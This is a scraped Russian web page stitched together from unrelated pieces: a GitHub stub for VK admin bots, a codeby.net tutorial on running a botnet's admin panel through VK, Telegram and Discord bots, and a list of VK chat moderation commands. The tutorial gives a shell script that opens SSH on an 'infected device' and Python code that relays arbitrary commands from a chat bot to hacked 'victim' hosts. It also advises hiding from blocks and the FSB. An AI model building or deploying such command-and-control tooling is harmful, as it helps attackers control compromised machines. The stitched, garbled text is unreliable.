Admin bot vk команды

This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

Switch branches/tags
Branches Tags
Could not load branches
Nothing to show
Could not load tags

Nothing to show

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Cancel Create

  • Local
  • Codespaces

HTTPS GitHub CLI
Use Git or checkout with SVN using the web URL.
Work fast with our official CLI. Learn more about the CLI.

Sign In Required

Please sign in to use Codespaces.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching Xcode

If nothing happens, download Xcode and try again.

Как добавить в беседу Кай,Admin Bot,iris в ВК?

Launching Visual Studio Code

Your codespace will open once ready.

There was a problem preparing your codespace, please try again.

Latest commit

22fa179 Jul 31, 2022

Git stats

Files

Failed to load latest commit information.

Latest commit message
Commit time
July 19, 2022 18:30
July 2, 2022 16:22
July 2, 2022 16:22
July 2, 2022 16:22
July 31, 2022 20:52

July 19, 2022 20:39

README.md

Инструкция к каждому боту находится в соответствующей директории.

В связи с долгим отсутствием обновлений некоторые функции могут не работать если статус отличается от Active

Администрирует беседу вк используя Callback API.

Гневно комментирует сообщения людей из хейт листа в беседах и лс.

Источник: github.innominds.com

Статья Админим ботнет через соц-сети

Привет codeby, представим вот такую ситуацию : у вас есть собственный сервер, к которому постоянно подключаться различные взломанные устройства, а физический доступ к серверу отсутствует, разумеется в таком случае просто необходима админ панель или хотя-бы доступ по ssh.

Разумеется, открыть ещё один порт и поставить туда веб админ панель дело 5 минут (особенно учитывая что во многих скриптах модули для этого уже написаны)

Однако это не лучший вариант и у меня есть аргументы :

1. Уязвимость перед exploit’ами
(вы только взгляните на

Ссылка скрыта от гостей
Ссылка скрыта от гостей

)
2. Уязвимость перед (d)dos атаками
3. Индексация многими сканерами

Поэтому я предлагаю альтернативу — использовать в качестве админ панели бота в соц сетях или мессенджерах.
Это очень хорошо защищает от ddos атак, даже получше cloudfare. Ведь у какого нибудь vk, серверов натыкано по всему миру, и все они расчитаны на большое количество клиентов, а также неплохо защищены от ddos’а (наверное). Даже если какой-то из серверов сломают, ваш бот все равно будет спокойно функционировать.

БОТ ДЛЯ ЛЮБОЙ БЕСЕДЫ ВК НА PYTHON ЗА 10 МИНУТ

Ко всему тому такой бот найти будет посложнее чем веб админ панели
Есть даже

Ссылка скрыта от гостей

где их сливают =0

Однако есть свои минусы :

1. Блокировки
Любую(почти) соц сеть в РФ, СНГ могут заблокировать даже без предупреждения.
Разумеется серваки надо регать за границей и не забывать про прокси , однако будет очень глупо потерять доступ к ботсети из-за блокировки соц сети.

2. Приватность
Нельзя точно сказать мониторят ли ваш чат разработчики используемого вами мессенджера. Допустим :
Вы запускаете сервер и делаете админ панель через бота в telegram.
А на следующий день к вам приходят ФСБ с вашей историей переписок =0

3. Защита от спама
Многие мессенджеры ограничивают количество отправляемых сообщений. Это не позволит нашему боту отправлять много сообщений за небольшой промежуток времени, а это может помешать когда вам необходимо получить/отправить большое количество данных.

Еще по теме:  Группа ВК это собственность

И так, приступим к делу (^°^)
Всё тесты я буду проводить на Linux(debian) системе, для управления ботнета использовать python3 и библиотеку

Ссылка скрыта от гостей

(либа для работы с ssh).
Архитектура ботнета будет иметь следующий вид:

victim = server
attacker = client
attacker => victim

Да, в полевых условиях лучше сделать все наоборот, но в рамках статьи это прекрасно подходит.

В качестве сервера буду использовать sh скрипт т.к. ориентировка на Linux систему
Скрипт будет запускать openssh сервер на зараженном устройстве и ждать комманд, опять же такая конструкция хороша только в учебных целях, на практике ГОРАЗДО лучше использовать reverse подключения

#!/bin/bash apt install openssh -y systemctl start ssh #это запустит ssh сервер на 22 порту(по умолчанию) , к которому наш взломщик (клиент) будет подключаться и отправлять команды ##и да в конфиге(~/.ssh/config, /etc/ssh/sshd_config) необходимо расскоментировать эту строку: PasswordAuthentication yes ##это если на сервере стоит openssh ##также можно заранее создать конфиг и копировать в выше указанные файлы

Клиент :
Устанавливаем python3
apt install python3
Устанавливаем paramiko
pip3 install paramiko

Клиент будет лишь набором функции которые будут исполняться уже из бота.
Мы будем вызывать эти функции каждый раз когда пользователь бота захочет взаимодействовать с ботнетом
Проще говоря пишем как библиотеку а не как самостоятельный код

Немного ремарок:
1.Данный клиент подключаеться к localhost(на чистоту эксперимента это не влияет)
2.Он предусмотрен только на 1 подключение, но по желанию вы можете доработать код и добавить файл с логинами, айпи, портами для подключения к большему кол-ву устройств
3. Скачать python3 и либу paramiko: apt install python3 pip3 install paramiko
4. Текущий функционал — проверка онлайна и отправка комманд по ssh

import paramiko #импорт paramiko для ssh host = «localhost» #обозначение переменных для аутентификации user = «user» #вы можете создать нового юзера прямо в шелл скрипте описанном выше mypass = «toor» #но я решил не заморачиваться и взять логины которые уже были в системе port = 22 #данный порт дефолтный практически для всех ssh приложений def interact(comandd): #функция для отправки сообщений client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #добавляем localhost в список известных хостов client.connect(hostname=host, username=user, password=mypass, port=port) #подключаемся 🙂 stdin,stdout,stderr = client.exec_command(comandd) #это наша команда outputt = stdout.read() + stderr.read() ##смотрим что нам отвечает хост и помечаем это как outputt f = open(«output.txt», «w») ##открываем файл для записи в него нашего outputt f.write(outputt.decode(«utf-8»)) ##заносим outputt в txt файл, который будем считывать в боте попутно декодируя текст из байт в привычный utf-8 f.close() client.close() def checkconnection(): #функция для проверки подключения client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #добавляем localhost в список известных хостов client.connect(hostname=host, username=user, password=mypass, port=port) #подключаемся 🙂 client.close() #и отключаемся 🙂

данный код именуем client.py и размещаем в одну папку с вашим будующим ботом

Реализация самого чат-бота будет в следующих соц сетях и мессенджерах :
Vk
Telegram
Discord

Для ботов настроены следующие условия:
1.Доступ к админ панели по паролю
2. Проверка хоста на онлайн
3. Отправка комманд от юзера на хост и отправка сообщений от хоста юзеру
Перечень возможностей скудный, но вам ничего не мешает его расширить

И так начнём с вк
Установим либу

Ссылка скрыта от гостей

pip3 install vk_api

В вк нельзя настроить именно бота, но можно авторизоваться как сообщество или юзер и уже от этого имени обмениваться сообщениями. Лично я буду логиниться от имени группы (сообщества)
Для этого проделываем следующее :

1. Создаём сообщество (название, тематика и тд не важны)
2. На странице настроек сообщества выбираем пункт «работа с API»
3. Создаём longpool API ключ с необходимыми вам привелегиями
(для этого у вас потребуют подтверждение, либо по номеру телефона, либо по привязанному к аккаунту устройству)
4. Ключ сохраняем

Еще по теме:  Как посмотреть статистику музыки в ВК

#coding: utf8 import client #импорт клиента для бот сети import random import vk_api #импортируем библиотеки для вк from vk_api.longpoll import VkLongPoll, VkEventType def write_msg(user_id, message): #функция которая будет вызываться при отправке сообщений randomid = random.randint(10,99999) ##вк для отправки требует рандомное число, каждый раз, неясно зачем vk.method(‘messages.send’, ) token=»ТУТ-ВАШ-ТОКЕН» #немного действий для верификации vk = vk_api.VkApi(token=token) longpoll = VkLongPoll(vk) print(«bot is work!») def main(): for event in longpoll.listen(): #ждем новых сообщений if event.type == VkEventType.MESSAGE_NEW and event.to_me: #если они появляються начинаем действовать write_msg(event.user_id, «please, enter password!») #просим pass for event in longpoll.listen(): if event.type == VkEventType.MESSAGE_NEW and event.to_me and event.text == («IMAROOT»): #проверям pass write_msg(event.user_id, «welcome to botnet admin panel») try: #проверяем подключение с хостом client.checkconnection() write_msg(event.user_id, «1 host is online, start interacting with him?(Yes/No)») for event in longpoll.listen(): #спрашиваем хочет ли юзер взаимодействовать с ним if event.type == VkEventType.MESSAGE_NEW and event.to_me: if event.text == («Yes»): write_msg(event.user_id, «start interacting with host1. «) write_msg(event.user_id, «print => (exit) =< to stop interact») write_msg(event.user_id, «enter something to host!») startinteract() ##запуск функции через которую и будет происходить обмен коммандами else: write_msg(event.user_id, «exit from admin panel. «) except client.paramiko.ssh_exception.NoValidConnectionsError: #предупреждаем если хосты оффлайн write_msg(event.user_id, «all hosts is offline») elif event.type == VkEventType.MESSAGE_NEW and event.to_me and event.text != («IMAROOT»): #если пароль неправильный, так и пишем write_msg(event.user_id, «wrong password!») def startinteract(): for event in longpoll.listen(): if event.type == VkEventType.MESSAGE_NEW and event.to_me: #проверям pass if event.text == («exit»): write_msg(event.user_id, «stop interacting with host1. «) else: commandd = event.text client.interact(commandd) #передаем хосту месседж клиента f = open(«output.txt», «r») #смотрим output output = f.read() f.close() write_msg(event.user_id, output) #отсылаем output юзеру startinteract() main()

тесты этого бота на видео:

Как по мне в вк это сделать проще но при этом опаснее (в плане приватности)

Следующий на очереди — telegram
В самом телеграмме находим этого бота: https://t.me/BotFather
И пишем ему следующие команды:

/start
/newbot

Далее, у вас потребуют ввести имя и логин этого бота
После этого, вам выдадут адрес этого бота и api токен, для взаимодействия с ним.
Токен сохраняем

a.png


Если хотим более тонко настроить бота — пишем боту /help
Для управления ботом надо скачать либу
Ссылка скрыта от гостей

pip3 install pytelegrambotapi

Хоть теллеграмм и имеет статус «надежного» мессенджера, факт регистрации по номеру телефона не даёт покоя поэтому лучше поискать альтернативы

И последним на очереди у нас discord

Ссылка скрыта от гостей

для python работает только на следующих версиях пайтона: 3.4.3-3.6.6
(discord.py использует библиотеку asyncio, синтаксис которой был переписан в новых версиях пайтона, если у кого есть ссылка на rewrite версию discord api, прошу скинуть её в комментарии)

Лично я решил выбрал python3.5
apt install python3.5

Установим discord_api и paramiko для этой версии пайтона
python3.5 -m pip install discord.py paramiko

Также discord требует asyncio
python3.5 -m pip install asyncio

В дискорде чтобы зарегестрировать бота необходимо

Ссылка скрыта от гостей

, благо это делаеться за несколько секунд

Сама регистрация бота здесь сложнее чем в вк и телеграмме

регистрация бота
1. Переходим по следующей ссылке:
Ссылка скрыта от гостей

(если вы ещё не вошли в аккаунт у вас потребуют логин и пароль)

Нажимаем на кнопку New application

step1.png

2.Вводим имя бота

step2.png

3.Во вкладке Bot нажимаем «Add Bot»

step3.png

В появившемся окне нажимаем «Click To Reveal Token», и копируем появивишийся текст, это наш токен

step4.png

4. Переходим на вкладку OAuth2 и нажимаем Add redirect

step5.png

Пролистываем чуть ниже и нажимаем галочки напротив bot и Administrator

step6.png


переходим по появившейся ссылке и добавляем бота на любой ваш дискорд сервер, готово!

Теперь приступаем к написанию бота :

Источник: codeby.net

Команды управления у страничного чат бота

Это картинка

В данной статье представлены только команды, помогающие управлению в беседах.
Остальные команды представлены в отдельных статьях:

Еще по теме:  Как скопировать ссылку в ВК на свою страницу в инстаграм

Команды выбора — найдут ответ в интересующих вопросах.
Команды фраз — скинут интересные цитаты и не только.
Команды RP — отвечают за role play действия.
Команды — список новых или изменённых команд в крайних обновлениях.
Команды другие — остальные команды, которые не вошли в предыдущие категории.

Команды, ответственные за управление бесед:

‼ Автопредупреждения | Автопреды за инвайт забаненных ТРЕБУЕТСЯ АДМИНКА — настраивает выдачу предов пригласившим забаненных пользователей.

‼ Автопредупреждения | Автопреды за инвайт рейдботов ТРЕБУЕТСЯ АДМИНКА — настраивает выдачу предов пригласившим подозрительные группы.

‼ Автопредупреждения | Автопреды за длинные сообщения ТРЕБУЕТСЯ АДМИНКА — настраивает выдачу предов написавшим длинные сообщения.

‼ Автопредупреждения | Автопреды за сообщения замученных ТРЕБУЕТСЯ АДМИНКА — позволит предупреждать участников о присоединившимся аккаунте — новореге. Зачастую такие аккаунты являются ботами, спамерами и т.д..

Бан, Вечнобан или (Типы ссылок можно комбинировать.) или ТРЕБУЕТСЯ АДМИНКА — забанит пользователя на конкретный промежуток времени или бессрочно, при попытке вернуть не админом данного пользователя бот до истечения срока будет кикать его.

❌ !Закрыть беседу, !Закрыть конфу ТРЕБУЕТСЯ АДМИНКА — исключит всех участников конфы, за исключением её админов.

Защита от копилок ТРЕБУЕТСЯ АДМИНКА — защитит беседу от присоединявшихся по инвайт ссылкам подозрительных ботов и страниц копилок сообщений.

Автокик ТРЕБУЕТСЯ АДМИНКА .

Автораспознавание голосовых, Автораспознавание гс ТРЕБУЕТСЯ АДМИНКА — отвечает за настройку автораспознавания голосовых в беседах.

❌ Кик или (? Типы ссылок можно комбинировать.) или ТРЕБУЕТСЯ АДМИНКА — исключит пользователя(ей) по ссылке(ам) или сообщениям.
Кик вышедших ТРЕБУЕТСЯ АДМИНКА [ВРЕМЕННО НЕ РАБОТАЕТ] — исключит вышедших пользователей.—>
Кик имя или или или ТРЕБУЕТСЯ АДМИНКА — исключит пользователя по его имени.

❎ Кик новых ТРЕБУЕТСЯ АДМИНКА — исключит недавно присоединивших пользователей за указанный промежуток времени.

❎ Кик паблик, Кик группа ТРЕБУЕТСЯ АДМИНКА — исключит сообщество по его названию.

Кик собак ТРЕБУЕТСЯ АДМИНКА — исключит все забаненные страницы из беседы.
Комментирование событий ТРЕБУЕТСЯ АДМИНКА — отвечает за настройку комментирования событий в беседе (например приветствовать вступивших в беседу).—>
Максимум предупреждений, Максимум предов ТРЕБУЕТСЯ АДМИНКА — изменит максимальное количество предупреждений в беседе, при превышении которого бот исключает.

Мут, Замутить или (Типы ссылок можно комбинировать.) или ТРЕБУЕТСЯ АДМИНКА — замутит пользователя на данный промежуток времени.

ℹ О беседе ТРЕБУЕТСЯ АДМИНКА — выдаст основную информацию и настройки в данной беседе, а также всех пользователей с предами.
Объявление . —>
Онлайн — скинет список участников беседы, кто в данный находится в онлайне.

Офлайн — скинет список участников беседы, кто давно был в сети.

Порог длины ТРЕБУЕТСЯ АДМИНКА — установит величину длины сообщений, при превышении которой считать сообщение за длинное, работает в паре с автопредами за длинные сообщения.

❕ Пред или (? Типы ссылок можно комбинировать.) или ТРЕБУЕТСЯ АДМИНКА — выдаст определённое количество предов указанным участникам. Если предов в сумме будет больше максимума, то бот исключит данного участника.

⚠ Предупреждения новорегов — rp действие против данного пользователя.

Пропустить ТРЕБУЕТСЯ АДМИНКА — команда связанная с защитой от копилок. Позволит админам беседы пропустить указанного пользователя.

✔ Разбан, Снять бан или (Типы ссылок можно комбинировать.) или ТРЕБУЕТСЯ АДМИНКА — амнистирует забаненного пользователя.

Размут, Снять мут или (Типы ссылок можно комбинировать.) или ТРЕБУЕТСЯ АДМИНКА — снимет с пользователя мут.

✔ Снять пред или (? Типы ссылок можно комбинировать.) или ТРЕБУЕТСЯ АДМИНКА — снимет определённое количество предов указанным участникам.

✅ Снять со всех баны, Снять баны со всех ТРЕБУЕТСЯ АДМИНКА — амнистирует всех забаненных пользователей в беседе.

Снять со всех муты, Снять муты со всех ТРЕБУЕТСЯ АДМИНКА — размутит всех замученных пользователей.

✅ Снять преды со всех, Снять со всех преды ТРЕБУЕТСЯ АДМИНКА .

Удалить сообщения или или ТРЕБУЕТСЯ АДМИНКА .

ВСЕ КОМАНДЫ РАБОТАЮТ ТОЛЬКО В БЕСЕДАХ!

Источник: studio-petukh.ru

Рейтинг
( Пока оценок нет )
Загрузка ...